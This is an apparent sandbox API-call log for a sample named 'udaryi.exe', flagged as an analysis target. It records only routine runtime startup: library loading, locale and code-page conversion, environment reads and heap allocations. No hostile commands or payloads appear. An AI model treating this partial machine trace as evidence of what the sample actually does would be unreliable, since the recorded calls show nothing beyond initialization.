# Flog Txt Version 1
# Analyzer Version: 3.2.1
# Analyzer Build Date: Jan 15 2020 08:26:44
# Log Creation Date: 18.01.2020 11:03:48.874

Process:
	id = "1"
	image_name = "udaryi.exe"
	filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\udaryi.exe"
	page_root = "0x36c62000"
	os_pid = "0xad0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x444"
	cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\udaryi.exe\" "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1
	os_tid = 0xb60

	[0049.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x40ff10 | out: lpSystemTimeAsFileTime=0x40ff10*(dwLowDateTime=0x101689c0, dwHighDateTime=0x1d5cdef)) 
	[0049.044] GetCurrentThreadId () returned 0xb60
	[0049.045] GetCurrentProcessId () returned 0xad0
	[0049.045] QueryPerformanceCounter (in: lpPerformanceCount=0x40ff08 | out: lpPerformanceCount=0x40ff08*=19067880489) returned 1
	[0049.122] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
	[0049.122] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0
	[0049.122] GetLastError () returned 0x57
	[0049.122] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x74520000
	[0049.139] GetProcAddress (hModule=0x74520000, lpProcName="InitializeCriticalSectionEx") returned 0x0
	[0049.141] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0049.141] GetLastError () returned 0x57
	[0049.141] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0049.158] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0
	[0049.158] GetLastError () returned 0x57
	[0049.158] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76e10000
	[0049.158] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b
	[0049.158] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208
	[0049.159] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0
	[0049.159] GetLastError () returned 0x57
	[0049.159] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x74520000
	[0049.159] GetProcAddress (hModule=0x74520000, lpProcName="InitializeCriticalSectionEx") returned 0x0
	[0049.160] GetProcessHeap () returned 0x1a0000
	[0049.160] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0049.160] GetLastError () returned 0x57
	[0049.161] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0049.164] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0
	[0049.164] GetLastError () returned 0x57
	[0049.164] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76e10000
	[0049.164] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b
	[0049.164] GetLastError () returned 0x57
	[0049.165] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252
	[0049.165] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x364) returned 0x1b4ec0
	[0049.165] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208
	[0049.167] SetLastError (dwErrCode=0x57) 
	[0049.167] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0xc00) returned 0x1b5230
	[0049.172] GetStartupInfoW (in: lpStartupInfo=0x40fe38 | out: lpStartupInfo=0x40fe38*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\udaryi.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x2b2530, hStdOutput=0x612771c2, hStdError=0xfffffffe)) 
	[0049.172] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0049.172] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0049.172] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0049.172] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\udaryi.exe\" "
	[0049.172] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\udaryi.exe\" "
	[0049.172] GetLastError () returned 0x57
	[0049.173] SetLastError (dwErrCode=0x57) 
	[0049.173] GetLastError () returned 0x57
	[0049.173] SetLastError (dwErrCode=0x57) 
	[0049.173] GetACP () returned 0x4e4
	[0049.173] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x220) returned 0x1b4b78
	[0049.173] IsValidCodePage (CodePage=0x4e4) returned 1
	[0049.173] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x40fe68 | out: lpCPInfo=0x40fe68) returned 1
	[0049.173] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x40f730 | out: lpCPInfo=0x40f730) returned 1
	[0049.173] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x40fd44, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0049.173] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x40fd44, cbMultiByte=256, lpWideCharStr=0x40f4c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0049.174] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x40f744 | out: lpCharType=0x40f744) returned 1
	[0049.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x40fd44, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0049.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x40fd44, cbMultiByte=256, lpWideCharStr=0x40f478, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0049.174] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0049.174] GetLastError () returned 0x57
	[0049.174] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0049.175] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1
	[0049.175] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0049.176] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x40f268, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256
	[0049.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x40fc44, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿâ\x80Ka\x80þ@", lpUsedDefaultChar=0x0) returned 256
	[0049.176] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x40fd44, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0049.176] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x40fd44, cbMultiByte=256, lpWideCharStr=0x40f498, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256
	[0049.176] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0049.176] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x40f288, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256
	[0049.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x40fb44, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿâ\x80Ka\x80þ@", lpUsedDefaultChar=0x0) returned 256
	[0049.177] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x80) returned 0x1b4da0
	[0049.177] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x2fefb0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\udaryi.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\udaryi.exe")) returned 0x30
	[0049.177] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x39) returned 0x1b6638
	[0049.177] RtlInitializeSListHead (in: ListHead=0x2feba8 | out: ListHead=0x2feba8) 
	[0049.177] GetLastError () returned 0x0
	[0049.177] SetLastError (dwErrCode=0x0) 
	[0049.177] GetEnvironmentStringsW () returned 0x1b6680*
	[0049.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381
	[0049.178] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x565) returned 0x1b7158
	[0049.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1b7158, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381
	[0049.178] FreeEnvironmentStringsW (penv=0x1b6680) returned 1
	[0049.178] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x98) returned 0x1b76c8
	[0049.178] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x1f) returned 0x1b65a8
	[0049.178] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x36) returned 0x1b2c28
	[0049.178] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x37) returned 0x1b7768
	[0049.178] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x3c) returned 0x1b77a8
	[0049.178] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x31) returned 0x1b77f0
	[0049.178] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x17) returned 0x1b4e28
	[0049.179] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x24) returned 0x1b7830
	[0049.179] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x14) returned 0x1b7860
	[0049.179] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0xd) returned 0x1b2e28
	[0049.179] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x25) returned 0x1b7880
	[0049.179] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x39) returned 0x1b78c8
	[0049.179] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x18) returned 0x1b88b0
	[0049.179] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x17) returned 0x1b88d0
	[0049.179] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0xe) returned 0x1b2e40
	[0049.179] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x69) returned 0x1b88f0
	[0049.179] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x3e) returned 0x1b7910
	[0049.179] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x1b) returned 0x1b65d0
	[0049.180] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x1d) returned 0x1b65f8
	[0049.180] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x48) returned 0x1b8968
	[0049.180] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x12) returned 0x1b89b8
	[0049.180] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x18) returned 0x1b89d8
	[0049.180] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x1b) returned 0x1b6698
	[0049.180] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x24) returned 0x1b6e80
	[0049.180] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x29) returned 0x1b6eb0
	[0049.180] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x1e) returned 0x1b66c0
	[0049.180] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x41) returned 0x1b6ee8
	[0049.180] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x17) returned 0x1b6f38
	[0049.180] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0xf) returned 0x1b2e58
	[0049.180] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x16) returned 0x1b6f58
	[0049.180] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x2a) returned 0x1b6f78
	[0049.180] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x29) returned 0x1b6fb0
	[0049.180] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x15) returned 0x1b6fe8
	[0049.180] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x1e) returned 0x1b66e8
	[0049.180] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x2a) returned 0x1b7008
	[0049.181] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x12) returned 0x1b7040
	[0049.181] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x18) returned 0x1b7060
